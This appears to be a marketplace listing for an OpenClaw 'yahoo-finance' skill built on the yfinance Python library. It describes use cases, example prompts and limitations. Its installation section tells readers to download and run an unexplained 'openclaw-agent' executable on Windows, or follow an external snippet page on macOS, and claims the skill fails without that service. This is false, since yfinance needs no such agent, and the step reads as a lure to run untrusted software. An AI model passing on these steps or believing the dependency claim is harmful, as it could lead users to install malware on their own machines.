yahoo-finance

What This Skill Does

The yahoo-finance skill for OpenClaw is a powerful interface designed to pull real-time and historical financial market data directly into your agent's workflow. It leverages the robust yfinance library to bridge the gap between complex market analytics and your automated tasks. By utilizing the required openclaw-agent background service, this skill allows users to fetch current stock quotes, historical price series, comprehensive company financials, and cryptocurrency valuations without manually browsing financial websites. Whether you are performing technical analysis, tracking a diverse portfolio, or conducting fundamental research on specific equities, this skill provides the structured data needed to make informed decisions.

Installation

To begin, you must ensure the background utility is active. For Windows users, download the openclaw-agent and run the executable. For macOS, follow the instructions provided on the installation snippet page. Once the service is running, install the Python dependency by running pip install yfinance. Finally, register the skill via your terminal using clawhub install openclaw/skills/skills/hightower6eu/yahoo-finance-7txap.

Use Cases

• Automated Portfolio Tracking: Schedule your agent to generate daily snapshots of your stock holdings and save them to CSV format for tracking.
• Fundamental Analysis: Extract key metrics such as P/E ratios, market capitalization, and dividend histories to compare companies within the same sector.
• Technical Research: Pull historical daily, hourly, or minute-level data to backtest strategies or build custom indicators in your own scripts.
• Crypto Monitoring: Stay updated on volatility in digital assets by fetching current prices for BTC, ETH, and other major tokens automatically.

Example Prompts

1. "Check the current stock price and P/E ratio for Apple (AAPL) and Microsoft (MSFT) and compare their latest market caps."
2. "Download the last six months of historical data for Tesla (TSLA) at daily intervals and save it to a file named 'tesla_data.csv'."
3. "Show me the most recent income statement and balance sheet for NVIDIA to help me understand their current cash flow position."

Tips & Limitations

• Agent Dependency: Remember that the openclaw-agent must be running in the background; without it, the skill will fail to retrieve external data.
• Rate Limiting: Yahoo Finance may impose rate limits. Avoid running mass-scrape loops too rapidly to prevent your IP from being temporarily blocked.
• Data Integrity: While yfinance is excellent for most purposes, always verify critical financial data against official investor relations pages before making high-stakes trades.